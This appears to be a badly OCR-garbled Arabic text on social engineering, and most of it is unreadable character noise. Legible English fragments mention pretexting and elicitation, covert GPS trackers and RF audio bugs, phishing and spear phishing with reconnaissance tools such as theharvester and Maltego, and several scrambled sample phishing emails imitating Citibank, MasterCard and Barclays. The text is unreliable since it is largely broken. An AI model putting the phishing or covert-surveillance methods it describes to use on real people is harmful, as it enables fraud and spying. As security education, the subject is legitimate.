^1 4il I j3j^J (jl (JjjUU t . UjujJ (jl (j^-aJ lI^*-^ L-l^L^a CjUcI^J L_fl jaJl jl -laJjunll 4_iC.Lala.VI 4 m.Vlg ^a (J^La. (j-a ^l^kll (jla^xlll (j-a 
A] AO *lJJJj ^Ll-u 1 ^ ^3'°^ ^ cilj j£ L_JJj,____l Ljajl ~ lalj-uJ (jl (j£-aJ O^J 6 <-y^^ I^A ^J»-SJ (J-ia i ullll jl^_a_l_ cl£^ .-^ 1-J-laJ 

_La ^^_juo s^aLuIa 

(j-a <J_»__ia_. ^^lll C_La j1*_a_I (jli ;<____i £-aj m Al ^l^a.VI t . lujujj jl 4_Iajj ^flj L_ala ja cJa-a. L ^>' Q ; o^-a.VI *>1a f laJLujJ VI 1^1 < ; LaJ 

Jc <JJ^ J J^-J (j-^ / flj£j Ls c\ ala.VI (jjjAi^Jl Ajujil I j i u (jjill (j^a ^<JI jl^JaV 4_ixulau obi j3 jJ S^-^-Vl 6^A 

A (j-d AjAiaJl CIjV jL^aII ( . n^lun (jl ^irTn ^^jll A-iflj£3l ^^^ic 1 ^J^h ^ j A^JjoJI ^jUl j^J ^J^ 3 Ua jjui ^Jaflj ^^.Ull (jljli.VI 

a-\q\\ 6^A c LliaJ jl t ; llaJ Ldl ^aJ <ia^.^LJl 6(_^^kl SjUaJj tAjcUu^VI 

J£ ?liUJ .< fljla^ll Ls &\ <lL^VI (Jjj^aII LojLojI tiUij tAjU^Jl jA SE ^-jUl^ ^ Jj^ > ulll aI ^aJLuiV c^^^ 

^Ic. cijUi d^a Jalilll . ^i^laixJI (j* (3^-V iSj l^l^kjjujl <Lj c ^j3I Djjiu^all Jjj^alijllj jll Alii ^microexpression 

liL^l (jj^J (jl AjLa^JI j3 jJ (jl (j^J .^a J^gJl (jC- j^Ul Jjj^alijll LS^ 0 J J ^ a ^ ^ JjKM lljJj till ^ kxJ ljJ-<il£Jl 

A-iAilsu obi Uiajl ^A t-^jjj J^^ I^A (j* (iljj^lil ^^^i l!^ ^ L_L1^ (j^ Uiajl (j£3 j tCj^J ^3 j (jl£ La djl^V CjI^VI cJj> >>n 

.^jcl ola>VI ^LojI^JI CjV jU^ ^ ^UJI jt Jj^ill JjKM 6^ 
tAjl ^ai] CjUI j^IojVIj Cj!>IjILJIj jjj-<JI ^j^- <— jj (J^jujj (jjJIj^iill ^.^IaxJIj <iajJa3l ,(jjjli3l ilijj JL^xi IaixJI bA a laJLu^j 

,4_a£^xJI 1 g ^1 ikiLoiV JJ^j cajLuIIj 

(jial^)C.| (Jjoaj JS ^•^J (Jj^ > >n jl^^ ^^^^ J' <>Jl£-<i Jalijll _dj j> (Jj^ > uJ (^^-Sc 1 > >ijl ^^LiaII oIa (jjlnVl 

^ab^luil ^^ic tifcj^a (j-d jSlj .^aJl*Jl (j-« 6jJj£ (j!nl Lo ^ jjIS JJC. ^jjfll (jj^ (JjjUII (Jj^i > uJ (jl llA Ia (jl L_L^J <Jaij , jJ^lill 

• xi j ^3 du£ ^lill ^I^VI <juj^J| Skc (jxi ^3?^ (Jj> > nil I 6^.^.1 

Aia. (j>iKj jlg_aJ! bA .^'qVq^ ^ala JiLd jjj > ^> <Jj^ > >n jl^. cill^l Ul ,^La^VI j cJ^^VI ^ 5 j^^^ cJj^ * ^ ^3^' 

(Ja^i ujj > nj A-ilkWl (jj^iall Ajljuj (j-a lIuUIxjc. 2 . J^-^ 20 C-!^^ ^ J^ 3 J^^^ dj^j^ > ujILj ^j^jj ^^LgVI ^ n> 

(j>» (JjjJ (J£juo3I (j;^ ^a Lo£ D^a.lj (JiLd l^ixil^ Jc jjilxJI .(Jji^jj (jl (j^j ^>^.l j^-?> LujLujIj _(jLa.^3l jl^jj 6^_a.lj ^^^a j3I 

1^ « 




JjJj CJ j3 12 ^J^J Jc- ci^*^ <Lftl£ (jl jJVU Ij^l^ ^g-iikj 6^A (3^*-!^ ^-^^J t(j^j^aJ V jl (J^-a t^aJU 
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iaUiLajVI j\ (Pretext) ^jujill ^5^* j^j^ a ^ *j <lL^.V1 ^jjj al\ q\ j^* ^ I^a Jl* - f ^ laJLuJ j 

. Jjj^aliill J£ j^ij jU^> jLij ^3^31 4^UJI qj± UL^ jL^j ^3 (Elicitation) 

.( http://www.spyassociates.com/) <jj^' cs^i* j um^M I J&l jo jj*^JI <j^xj j^-ks JISjuJVI 

(jTnlqMl t V^N Ijjuj <Jj^ > >nl 





/o^i^. jA dj jj^ll j^-^- ji I jj^^^ l_lojLl<JI jjiix-!l 1 g-Li^j jtlaJ! j l_lojLl<JI ^3^^ ^^-^j j^-* t — 3 j*^ ^ t — 3 y~^>S 

%± <Jlc jj^iillj Cj jj^II (^^ic Cjl^^pJl £>i& J^J^ L c5^J t^uirtll J' ^j^ j^^j aJjI^« 

(j£-dJ .(Jj^ ' '^^ ^J 1 ^ ^ J^ ^5^* J J 1 M 6^)jla^ *^^>^ (J' t , ^HaixJl ^cLdl^VI (JjJ ^ aII (j>» 

<Iajj ^ ^jSjll Llj > oJ V c*lj| (j-d ^£U13 ^11 (JajI jill (j>i ^Jlaall mLg i jjlS ^jjj jj!£ lilliA (jj^J <*-fl jjuj ^jSI j S&C (JJ^ cillij 

.6^1^ ^a^t J^ ^3^'^^ 6 ^ ^lAaajujV 

(j£-dJ ^ jjJa jxJl 11a (J j^. 4_jaiaLL<i t ^aa ni ^^ic ^pajjlj jl 4_^.^)^<i jxi ^ (JjjUII (Jj^ > oj] ^AaJLuoJ ^I^VI ^jjj.V^ ^11 



(Using A GPS Tracker) J&AS ^ ^ f lJii-1 

^1 jljl 1^x»I^JjujV 6 liaJI 4_S1ojVI jl <Jjujl-L<i <suji3l jjjiaj ^^ic ^cLoij ^j) (j^J CjLd jla«-xJl oi^ JJ^jj ^ia^j J;J^1 Jj^ 

j& (Jj^)i3l d fl^A (jl£ t^J^UJl ^J^)i3! CA UuS (jj^J (jl (j^J ^ jJ ^l^Vlj ^^Jl d^ji Ai^>x-<i .L_a^Jl ^ja A ^Ja - gall 4_jL^2joiV1 

^.1 ,L_fl^JI ^jjj S^cLolaI] ^ ^ > ^ ^ jl^a. ^lAaJLujl jA ^.1 j oL^jI (j£J j 6<illk-<JI (j^lall ^j^JI ^lAaJLuAj (JjjUII L_iisu <lj 

:JHJI ^ .GPS ^5 ^ sj^Vl 

The notable SpyHawk SuperTrak GPS Worldwide Super TrackStick 

* j^Vl ^> 'u^j^^ c> . http ://w w w . spy as sociates .com ^j^i c> j^ji^l USB Data Loggerj 

t5 lc. cjUUJI ^> Al^ja U (jjj^j <^jj s jli^JL LuiuLU^* SpyHawk SuperTrak .600-200 A ^ ^ 
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The SpyHawk SuperTrak GPS TrackStick ± 




Using the SpyHawk TrackStick 4» 
/GlLklj <ul.ikU J^JI <> j A^hj jl^aJI The SpyHawk SuperTrak GPS Worldwide Super TrackStick 

^ cillj j^ c qq^j jl j£-GJ SjLluJI cil^p^ e-UaC. t"iVi c LlaJ j^J j^-a JJ^*-^ C5"^ 6 L3^ J ^ A ^-ajI^ 4_I ia ^juj (Jjl jlg-aJl 

jl£ lil .4_iHslxJI JaxIoj c*]Li& jllxi ^1 ^ .^i^Jl SjIluJ! ^ ^^iLkll ^ j^Jl ^ j! tojUjuJl ^Ikc^ dlaJ ^ ^1 jllxi 

Reviewing the GPS Tracker Data 



£y± (J^-xi ^IcV li^j ^ g 1 Lj^^jI] ^cLdl^Vl (JjJ <oJt j - a^J 4jjJaU^)3l ^JL^allj 4(JjJaS>Jl ^aJLftSI (S J^ll (JjLlil jJ 

<J jj^^Jl t^l^^j <j| Slil£-<J! jj^^ ^-ULg cJ*^- j> RFID SjLuj ^1 uilLaaV ^j^a^ill <JjJaal ^ia^I^aII Jj^ ^•^-Sl ^ jli j ^1 j-<i Ai^s^ 

(Jc. jC. jl (J^ j^. ^JaJ^k ^glc I^Aa£Ij CjULiJ! <C j ^ ^ jJ^ji gal] JJ ^ - gaJ jj C5 ic ,(J^. j^. Jajl^k Jajlj ^^Ic JaijJal tjjj^lilll j>» 



^3 



] HEi -l ip- 
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;c_fl<j djlajlj tAj^a j Jl cJj^j J^ 6 ^-l (30^ 6l_a^JI jj Jataj Google Earth 2^-^J^ J ^-^W^ ^ * 

: JU3I J£.ui3l J (jii* j& U£ 




J (j^ J& L *J - gall (j* ,lJ^*Jl (j-a S^lj J] <S£ (JjjUl jJ^ji gaJJ ^3 Ja^S 4_S£jai>i (jjjJ ^JjjJall (_£JJ (jl -VJJJ Clu£ lil 




3CH3 



Ca\ j^VI <^A U <3jx-q .diaall j ^LuijUJl ^A ^U^l ^jjli-o .^l av>Vl (jdYig Wlall CjI j^VI ^ laau ^j) (j^-oJ V JJ ■ ^fl ^JaLa li& 

,ljjj£ USjS l— )>IaJ L_fl jjuj - ^ cJ^^ CjIj^VI ^l ik-Loal *Ai jx-o i 4jujjLuJIj 6<jujjLuJ|j c4_ujjLoa]| (ililc 

l^at^iajl jSaj J^l ^ j^' t> lP^ j*^^ f ' http://www. social-engineer.org J ^ ^UVtf I ^:^JI jlLJ J 

# l^jLujjL<ui jj jxll ^^cLal^V! ^ ui.V^ Jl J 

(JjS (j* (jlajVI Jc- 4_ii*i3l CjIj^VI ^c-Jj .tdli (j* ^J^i ^^cLal^VI (Jjj Jl ^Jj£ (j* Jaaa AaJj * ja> ^^A A-pLJl CjIj^VI 

.CjLq jl*_Jl J 0«i j^l 



RF Bug Kits 

(j* l«iaJ j Ij-^LaJ (jl I . la>J (jJC-Ldl^VI QU>1,V^ a\\ ^Ia^. (jl ^fllicl (_^ill JaAaII ^cHaII I1a (jial jsUjojU jlj (jl Ujjjjuj ^^cljJ (j-d <j| 

.^SLiiUI JL-jVI ,> ^ 1000-900 : Jlj^ f "Professional Grade RF Audio Bug" ^ 

sbl (> ^1511 JaJI t> jl^V 1 liA '"Professional Grade RF Audio Bug" <> M jSSVl ^^=JI jl^VI 
^ ^ jjj^ Jl Jl ^U»^iVl tSjSAi dii^ . jl* 300 + I* Jl\] j** <j Jl ^Ul^VI C5 £La J ^UI 

tcilkJI J ultimate RF audio bug J^^'j <^Ij^Ij o^all 

(jj^ Jl j ^cxiA-a (jj3 jj^^ ^ a jjir > ^£iuj!>l!l (JLojjVI 6^ j .^1 jjuj Jc- ( JiL<Jl j J j> ^nll (JLujjVI Jc- c5 J^J > ^1 I^A 
Jc ^ ji^i JlixJl dAa. j ,^cll 4L_ljl^<Jl t^^jajlj^Jl toAjJaixJl (JLojI (Jio (JaxJI J (j^ 0 L^l J ^ j^ > nj 4 jq^ ^ (jj^J (jl (j-<i 1 «QJ 

cjj^JI J;i^u3 I^j 3.5 J^aj (audio out jack) ^jj^JI ^j^J u^j g-^jJ! ^UL-^U (earphone jack) L> *jiL 
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cjUUj Jja i oj j ialiill J ^Vvv.LaiA] ^j£U3U tjiAAj jAj^aj V l!^^ .portable DVR jl ( - " 1 ^ ^ -^j^ cs-^j^ 

jll AjlLII J Cj jj^JI 

; JVI£ jl^-aJl 11a I^jjIi^j jll AjjL^jVI dil jj-G-all (jlaxJ £JJ^> O^J^ 

JUi^VI JU^ + ,^^1 Cjj^JI JU - 

jl^a ^1 J Ujjij *lLkj JIj Uj JJ>-^» JLoj jj Jl^ 

+ 300 tij* 

li^V 4^l^xluiV <ii^oiJ jl jj^JI Jj ^Uluj^ JlixJl ^l^klajl 
,4JjUui dj jj^II (Jj?* ml j^-^- jl ^-aU^J C5^) L ~ J J*^^ cJj> Mill (ilL^. lg_J ^La 3.5 

4jc jj .J Jal jl ^l^al 1000 ^ j^-^ UJ^ * (j^-^l .<SliL<JI j 4j£ioj^UI ^.1 jjoj JUalojVl j l^judij bugs J 

.(j^.V dlS j ^LgJjojVI j lSj^ > >n 11 jl Jj^ll Jc- ^LdJjoj^U jlg_^Jl ^l>laJ ml (j£-aJ ^ jjJa j 4_^jJal jj l^. AjJIc Cj jj^JI 

^I^JjujI Aau . l-li*-J AiLaixi (jxa Cj jj^all Ja£iLj ;4_Jlc dlli QJ^JJ^J^^ .S- 5 J& ^ (J^ ^jJalj ^)JC. (jl£-a <J jtg_^Jl 

.(jjcLal^VI (J-Ijuj al] 4JLujjj (jj^J (jl t ; la>J 4il jl^-aJI I,jA 











The E-Mail Attack Vector (phishing attacks) 

t> ^ Jjj^V^ J-^j) ja tU^jljj^ill jlij t> < Phishing I^Ulj < Phishing Attack 

J Jll j ^"Spanish Prisoner" J^^^ 4jjj^3l <Lujj3! cjIa^a J j^iJ u^-^ dlld Jj c_jUil3 <^UJI ^lU^i 4^ j^JI (j>» 

.(advance fee fraud) ?j*Jb j^jj^ ^1 UjAj^ 
(jj£i3 ^ j^VI ^Axaj1 \ cjUII J djjjj) l^Jl dia^ 4c5 j ^jjJl Jj^j j ^ 5J ^ (Phishing attacks) CjU^a 

. lb galll J J-«V1 (3^*^ ^' J ^ C ' ^jj^ 4jjT mi ^LjaJj 4_icUu^.Vl CjI^JjuJI j>» 6<il3i Jc ,(jj^^l a\\ <Jjou31j 4i jJ j>» 

.Cjj jjjVI jil ^xJI J <j>»jJalxJI 6 jUial! CjUjI^I j (pop-ups windows) ^V^ l ial j^ll ja j 

(j-d lAjJ^dJ ^JJ 6^lc j (jjjalJJ ^ jjoj Cjlij ^JjuJ cJ^^ ^J^^* C£-A J J (J^ (J* ^ J^ 1 J^*^l (J^f^^l CjULaC Jj JaJJ (jl (j£-GJ 

(j-d 4j) ^JaJ jJl J 'AjUlII Jj^. ij&Li U^-d J jjj£JVI ^^>^l ^^Jjuj jll j j^^l (jxi ^1 jj| tilLiA ,^cC j-<Jl *lj^)Jl (J^ 
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(Jjli ^JQJQ^ (j* 4jla.m\j1\ 4_lLai^)3 AlA laid j liLuj .PayPal jf 6 CBay 6<Cjjjaui 

Jjj^alijll C5 Ic J jj^a^Jl ^jjL^l^xJI <J^ ^ l_JUl!I ^jj ^ill jj jn^ll Jc- ^jlall ajcUu^VI ^Loj^JI ^ (Phishiiig) 

.A^jjJoll dil^jjaJl j\ til jiJl <Jia t4 aJb s~t CjLalala ^ IgJl j^JJ (JjLuij (J^J^ ^ UJ 1 ^ (S A ^ .SJjLftll 4 j> >*Ml 

jl! jJJI J!lk^j ^SLkll I j>hr, ^^ij 4 jit Jail CjILUjjVI Ja^j q\ Liajl jLoj yHJJ^V^ .o^L^I 



\ a *\ l^JL ui ^IjuJJ ^aJ (j^J L_fl^Jl CjLg jl*-* Ai^)jaJ iillij (^-A&J UJ"^ ^ ,>*^ 




CITIBMIKIJP*!!* 

tYpi-h tnrlh fw* dfctttWCd 1h*t mu ll r \* cam \mt*f\ vtiim\*4 to <o« into 
yvur □TIKAFttt Online Account* a &d multiple fBiaworC f tiljr^a weie prtmtl+d 



■. -nti.irih,i;i?m^.prtttfH] * ........ 



■ i-CTfiAHP(Tejni 



a 



m tv* 




Deaf Cusud-mtf. 

Our mm security jYsle^* wf I help vou to avoW Ireoiwrrttv 
frmjd transactions and id fcn-p your Cncdiiyi>etift. Caad riptaili in lafrty 
Due botethn-jcal update rtt jc-l urn mend y&j to reactivate you r card. 
Pteas* <.Uc< on the- 1 irk o««ovr to proceed; Upitate Mjnercarti 

Wi' jpi|jriiJ jCt yum ■ buuhCKs ir i truly hj pJpJiuri- 1o wivr yuu 

MasteffCand Cu-jlomer Care. 

irus. email H to* "Toitticjtlon purposes only. 



As part** Mr SMuritynMHSLrci, Che H59C H-drk has 

J a fKimty pragram agj(n«Tha f raudiJ unt .arti-TTipts and jeeaajert risrita. 

e r wir 5VM« m '«] | J | res fuitheracDTMjnt InrbrrFiacton 

We r«queit wtf cjrfti«km fTHn vcm ICr the <DllOHing. r«4*ln. W* need tc- verily wMxr KffUX 
ni huiu Bann nrdcr "In Inti.™ 1 xafvty and mlagr \ty nf r>j- tn-rviciK,. 
ntM IcJkm the InkteJow 10 (iroieecL 
=■1 ■■ hTiJrr.. Jftrenunt V^rifli n 

Di%ee ftru kogfrv you will be pnavf ded rtrth jftepi. to connpi eie the veMiCAhM procen. f tw 

yiuufKY. Mi h»t phy^Eol, ulinrtrcwiic, prDcadural uhiujua rdi tha* tompJy urfth iwloraJ 
mgLiaXIma LO prtH»d Chw hi fur mart icr- ydu la prnvifia EO lit. 



Xau> orrfana ha«ihln| Is fakxfavd 

W« tee r*t«athr rc * *«*< d your *«»uf¥. 4>id sutpect irul ya-ur NtlwtM 

rjnlif B+nkinf *.r.7unf m»V r»»V« ft l g I KtttH4 Ov UMV^Hltd *t»"»fl P»tlf 

^rarecikng Hie SKunty of vdlt ■ccaunt ts ou i primary tarvci:rn ThtiHcrc- nip 
rnnnt. mm hav« wir^wnNi^ hMMprf f to utilruM^UKfHrurtt 
f 0 [tiHM yw Kfjnl wf ricfrcl V-'U Ki CdplrinTl irju • •drn.lrtw IP* LDWT nmj vtjl I ? 



nuMils -lor ^lurpjtKncE jb w war* ^Dfljtilver tn prate." you icccunr. 
MartMKSt Bmpb Online fiAnh Customer Werner 



Hhw MMHeyour mords an or before 48 Ivaufi, d Uli^^ to updwe vDwr reoordi wiU «e-iu4c i«i i 
temporal -xrtJ an your fundi. 



d*«^ V BARCLAYS 



Bmi_U*s is oroufa tu muiu aliuu! 'hcti r u^litrd i*cuir »vium» Wb upcbMMj uj ne* sit mm 



Dw i»ihc mum 14MLIM rhc wtrti. iftmi Mtti r«4au>Mj u> ptaaw updae. «cu Kiiun inu ac mt 




Source: ^ t tp://w ww. banksafeaniine. arg..uk 
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^(Phishing attacks) cjUaA J^*j liUl 

?^gJjjjSlj .JJJJ (jl jJC (ilLoJ V ^^>*J 4^ ill (JjjUII (jx» ^a£ ?A1g1^a1I C fll VI ^A (j* '^CS^ <-I^J V jl 

a laJLmd (jjilxa 425 ^fcJ^l t^^juj (JjAjoiI Jc Ai] dllUi I— Lla .l^J AjL^aLaJI GMAIL (jC Qj|g.l - >->^yi (jlasu I j^.j-a ja. CjjJk-sal 

.A_nxjui (jlS (J I j tJala *1}JJ -^jj-* liA UajudJ 

JLacrVlj 2012 ^ J j^V^"^ ^-03-^ 6 RSAl£*1I <^il^<> SjIjS ^fij* J^U. ^ ^LujIj^ tJjUjuJ! J Ap$3ll I^a ^^Ja jl 
V5fl j ^^jj^ill cjL^a a *\fu (jjAa 405.8 6 1 jj jud ^ u^V^^I uj^ 6 .^-^j-^yi ^^>^ ^ uj^ 27 Jl L - J ^ IjilVil J 

; j^aJl S^lftll CjUV jib AjjLLJl Aic CjIja 10 Jl j^ CjU^JI £>ifc J I jxS j ^aJlxll J jjSI Ij'Uij jl Jx^j liA ^IjJl 

http://www.antifraudnewsxom/scam-information/ 

^ a ^^^joi ^LiaSl JjS ^jjJ^VI cJ^-^J A£±i jllkj V jJ^AaJLuiAll (j>» ^ alaxll A_ij11x1I jl j^jj ; JUILj 

Spear Phishing versus Trawling 

Trawling *t 

^ jj!i£3V! ^jJI cJ^-^j £>1a ,lc jjJj j5£VI ^jSIjIU j& Trawling < J jj-^V^ J^ ^^11 ^ ^>^l (jc cj^^lj LoAjc 

(JpUaVI Jc £jJa jJ ^aJ IgJl JJC .(JjjUJI (j-a (jlJ^Lz Jl IgJLuijI ^aJJ jllj JJ (JJjIjujI Jc I^JaIj ^aJJ ^^llll 1,1a. 1,1a. !)Ula AA jJ.ui.a1I 

ajjJI (jj.Vu ^ J (jj^j* (jl <J*^ ^1 (j^alj^l ^jj .l^jVljS (j* JlLall s-l^iij! Ia^ja^j aJ j^ > nj (j^j 6 j^all 11a Jcj ^jill < aI^IujV 

lA > ^>^> ^aJ ^^ill CjI^JjuoII jjjUc ^lA^J ^alc ^ Jj^] cJ^jj ^ t — * .LajlS (Jl JJ V I^AaII 6^JjjSll (J^lk A L-fll^lml L— Ll^ 

^a-laill J^-li^.1 ^JJJ lS^-^I (j' c : 1JjuaJ J' ^J^-^ ^^<» j ^al Jl V jj^ J (jj^J (jl ^Ujj (j-d li^ (jU^VI (j-a J ^^UalujVI Ai^.j^ <J^-^- 

tjj-axil ^Uua ^Aaj (jl (j^-GJ jll (jjjUiill (j-d ^c.jll Jc <j| 4'qj'q^l <JIaj jjuHaII j^ill Jc (jjLuu ^Jl aJ^UI CjLujljjudU j 

(j^l j 64_xJaixJl oL^J Lg lc jj 4jiuju^ J laJ > n ^ jjj^IVI -^^11 c5 ^ .lS^^^I Q Ai ^ A*juJ J-« ^ (Sj/^ J^ C5^J^ ^ J (j-* 

,lil^Jjuj| jj£I £t£J l^jLuj (j>» (jUj a °J <Jj > 9J dili (jj^J (jl ^jSIjIU 

Spear Phishing 

Jc J jj^a^Jl a^ia j£^. 3J1£ j jl <c a jl <xJai<i m ^ <— aI^aI Jc ^ jj^ll J^-^l ^ j^A jA Spear phishing 

jj£| ^c^i c fljja jJJ ^ajL jjoj AjI (_^l .Ajj^jojlII CjLg jlx-<Jl jl tAjjL^all jl jjojVI tAJUJl CjLd jlx>Jl JiLd AjjjoJI ^£jLg jls«-^ Jj (J jll 

Alii J cJ-**^ (J^kjuj 4(JliU£ ^AJjujLIaII AjL^JjojVI (J^^ (jUuial <Ja*J! (Jkb ^IjSl jl S^^^Q djljljj li^Jjabd (jj^JjoJ a J^-ll J 4_L^kjuj 
6L_Ltla jllI jLujIu^q Jl* jJ (JjjLujI Jc ^jjJ^lVI cJ^^J £y* *^J^ **— J W X ^ f C5^HjJ C-!^-^ lU^" (jll AjJ^^ll JIaC-VI 

11a (j>i jjli£iVI ^^11 lS^^j J^ ^^-^>^^ .^UJ^ CV ciO^ J^ c5 Ai^l j jj^ll aj^>j aIIjujj! 1,1^. I^i^. li^A (jj^jjoj 

jSxxll (j-d .^jSjaII ^IflJ (jl ^^.jaII (j-d j tAfa. (J^JoiJ L_J jl£-<i ^ jjj£1VI ^^>JI ^ > »Q (jl (jialjiial Jc 4 J^ll I^A Jc j ^aUaljU ^ jill 

.Linkedln ^I^IujU I >^ ojj^' ^ ^^iSaiujI ^1 j^l 

4^<Jal<Jl jx» A^.1 (jl Ja^. jl ;<JjJaUJl c^M lalu^VI 4_l^.jxi cJ^-^- .1^ (j^ AJj^^joi JJ^I (jj^J (jl (j£-a-<Jl (j>» J?^^ Cj^U 

A j ^jjj^IVI ^^11 c-Mj^- t * a ' : "^^ aSj . J^ aII (jjjl j£jojVI c5jj^ cJ^-l (j^ a£jj^H ^jjli^lVI ^^11 ^ laJLujI Ai^jjab<JI 

(Jjjill ^ ^ (>j ^"theharvester" 

j&UaJ (JJjia (jC 4 lal uOJ .^J jjj£JVI ^.5^ J (j^J (Ja^ uul J^ tilLiA (JjjJ ,Ajli£ll Aj3 LaJ A^jJal j (jVI ^^A ^a j^^l dj^U 

^jjJ^lVI •Aj^H .A-l^ - tall L-fll^JjoaV ^ijJJ^ll AJ^>J ^Ujdjj (j^J t^alc G1VIAIL ^ > ^ ^Ia^JjujUj (_^jj^ll ( J ^a jj^akll (j-<» A^lj 
jl^J ^^1 oAiixJl Jajljjll (J^asu jj3 jJj ; jJj^S CjSj J tl^llj^. o^lcl (j>» Aj V jlS jll CjUjUaJI (jUjdJ CjLd jlx-o Jc (_£jll^J 

Uxilj (jj^J (jl ^ U*^ '^^ r - J^ll ^F-l J^ll CH 3 ^*^ d^-^all (jli 4 JbaJl AjLJflaJj /d^J^JI AjcI jaII (jC Jjj^alij Jc 

6<J-<isl!I djlcLoj (jxuia jjj^IVI -^^11 1^ cJ^j] ^LiaJ Ul t^jJal jll (j-d j ,(_^jjjjJa j^l ^a j^^l I^J L-Lujl L&ll Cj3 jll jlj^l .(jl^VI 
<jj1I (-h.nl A^hlU ^ ^1 j 4A£jj^3U Ai^lc IgJ ^oul All (jIjjaI jlaa. (> cJl^ ^jI 1^ .Cj1£jj^3I All (jljikl o- 3 ^ 

^^UaloaVI ^-l^-j>» cJ^^. ajjI jl ikiLujVI CjUi jlx>JI (j>» ajla^. Ui Jc Axusu AjUil Ai^. jA Spear phishing Jjj^V^ ^J^^ 
(jjSjl j^jj ^ jjjilVI ajjJI .a£jj^13 ^^ajujjII j^ll (j^ l^jlS j j^jj j (jjj* j^ j a^a ^ a^^ a^ jll Spear phishing j^-^ 

A L_fl3 jxi J j^C (j^akjaill j A-xJjjatxJl a£jjuo3I Aj3 (_^l (jxi 

: Ja^u ^ja^JI Cja liA 

<J J^.^11 (J^JOlJ ^Uucl (jljjl AijJoJ 

(jUujVI AillaJ Jjj^alij A-jSIj-<» 
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4-JjJud (jjjlj J^lj 4-Jjlj>j3l jljjalVl AiijJal 

.DDoSj botnet <yjjj 

jJ^I (j-a JjAaJl tg» ^ ^aJJ jll 

l— lai }\\ J JJ^J <jl (j^-ftJ La Jc j > <gjjj 4jC.Lala.VI 4 ui.Vlgti axJ ^a3 .^^cl al^VI (juVlg ati jlaLLall ^Jjjlall b^J^" c — ^ J^V^ £>J^-I (j^-oJ 

Uij l^Jl ^ j^jlL ^aii <LLaJ L_j| jj| J (Jj - gafljfl J lg_a.JjuJ ^aJ dlljjVI ~ a .^J dUjUjV! 4£jjuj Jc Jjl j>Jl ^JflJ dlljjVI .^^JJJjjll 

.cJj 1 aSSl] J 4ja.jjuj ^aJJ L_fl jjoiS <Jjfj J^ 1 -^ ^1 La Lai iaSS j - gala a £>J^jl L_fl jjoj 

MALTEGO 

£d *bl cill ^ sbl 

^jjjIj C5 ic. ?l^_Lo a^lilosVlj 1 A jj L gaj ^^jll d j>»j^ CjUjI^ e-^g+x ^—O^-^ A^ J^J^\ P ^jju^all <^a.lj dib SbVI 

?<^H<i j a^U^ ^Uuudj sbVl dul£ bj U tcilli J£ 

Uijjjlj ^ JU.j3l c> l^JcLL-a 3JaUI sbVl .^Ul^VI oj^JI ^ sbl ^ Maltego. Maltego ^ 

. http://www.paterva.com/web6/ 

^ l^iixuiaj ^ ^ c> ^UJIj community edition ^ Maltego 

J^a^J C_flj^j jVj^ 600 C5^J^ ti^j C> 

a£jjoi ^^ic Ia^ ja. j <jl£ ^^jII o jjt > ^ a£jjoi ^ ^jj^V^l 4 du£ _d^a ^j'q^lll cJ^-^- IVIaltegO *^ jW^V l!^ 32 ^ 

djjjjjVl A£jjoi ^aAaajujJ ^aJ j 6<>Ja*Jl ^jji^J tSAluLa <jujIj^J ^jJa^aJ ^jl£ <j^3 ^^iilill ^jjjJJjl! jj^ jll L_fl^Jl ^jl£ J^a. jJa > ^> ClljjjjVI 

^iUi jls«^ <iajj* j^JI j jjj^IVI ^jJ^ u^j^ c ' cl^ cJ^ 3 ^ ^ j Jaia <£jjoJ! qia ^lAaajujb ,V jl IVIaltego ^b^luiU dui 

Asuj .Igjua dlaall ^^J dilxi ^ AjjJaJ S^c-lS ^Ikcl jll j ^jj-d jJU 

^j! jix-} U^JaJjj ^ ^ j (J^1j*Jjuj1 4i! dj j ^13 _(_£j^j URL C-MJ^ C ' J - ** CJ?^ ^ laJLuji ^aJ ^ liallll ^jjjjjjll 

^aJtiaxJl b^ jl j 4J| LdLdJ <jJal jxJjojI S^ljlll ( li u& > <alla o <!j.J J ^acUaxJl (jialjxlajl J a laJLuJj <j| La£ _Ulc. JjjJ^lVl G^JJJ 

^jl cja^ j Maltego J ^liaul! cjULic ^ JJa ajc ^ .^>aljxlaiVI J AijLi 4j.At.nj j t<! jjJI c^Uj J aiIjIc. jjjj ^jlS I^jjc 

^aljjkjjujl ^jc CjJ^aJ Jll Jajj jjll (J^axj C_jjj>. j jll j AjjIslSI ^joj! ^ C-L^jl! lIjUIaC. jj£I ^ JjIS JJC tilljA j _Allal<Jl tillj J 4 qjq > ? n j AjjJI j 
^jjL Cjjj>. j t^j^V J J SAaJ j Jj <!lajj| j A\\"% a A uuj£ ^ l&lj^J 4 K uj ^ <juj3Ux LiA I,jj (JL^cVI J AjjJ j^.1 J JJ^j ^J^ 

£yz Jal J JJ>J ^jl ClxiaJjujI IjA ^JjJaixJl ^j£jj3 L_JaJ L_ 6j^3l <J*J ^JjjlsLxi jju AjIjIkJ Jjj^ ^ ^ jJjajlill AlajL^a -laJJ ^-SJ^a J 

: Maltego^*^^-? cli^JI ^ ojj^I^j 

4 qjq ui ^ajail 

^JC JJj LudJ Clll^ 

<JJJ 

1^L£Ij S jJy\ a1 Ijj U - 

AjJa ^^Lua J-<^ .j 



963 



AjjJaLJl <JjLaJ 

J ^LawG s-LoiC. Jc J^ a^J jli lil (jla^aJl (jl£ CjI^JjuoII L-L^juJ! (jC CjLg jlx-a Jc- (J J^aJ L_fl^Jl Jj t **^ > '^J' fj£ 

£^ jjj^aS ^l*la>l Ssc Jc (jlsjVI J& <J ^aU^I JIacVI . 4-^-?^ ^—^J '^J^ JjJaixJl ^jl jll j^ill Jc- (jl£ ^*Ixq 

jjill 4_j^aj3 Jc J jj^a^Jl t . 1^ uill J <-<ujjI jLaO] (j^J ^Lai^Vl ligJ JLacVI cIimjI bj ^ Ajj^ AjJLfta, (jc cjjj^ail CjlxJfd l_j jILg 

dlSjll J jl^J -C;r L<i PDF <■ ^ J J^ J^ .LS\^ V ^ J' * Ualaa^ Ut j "jV 4jujill fjJ . JJ^jlj 

." J jC^ £^J-^ ^ t^xi" 6<! > nj ^I^JjojI (j^J J 4_^LaJl "^J^)Jl" ^3^" C5^^ c . 1 >J ^ J cJ^^VU CIiaS 

^)LuuJl L_aLJl <illi£j L_LauuJl Jj > <a1 q'i ^-iA^ Jc (_£ J^aJ J^ J J J J^j A-IIjuJJ (^-liilill (JaUJ^I JjfJ " £A L_fljlg_ll Jc \ AJJJ 

Aj^Jjuj <Jj (J jll J t^jai^C (Jjuj Jlj^jj (jLajJaj 4 jLja j£ udJ 

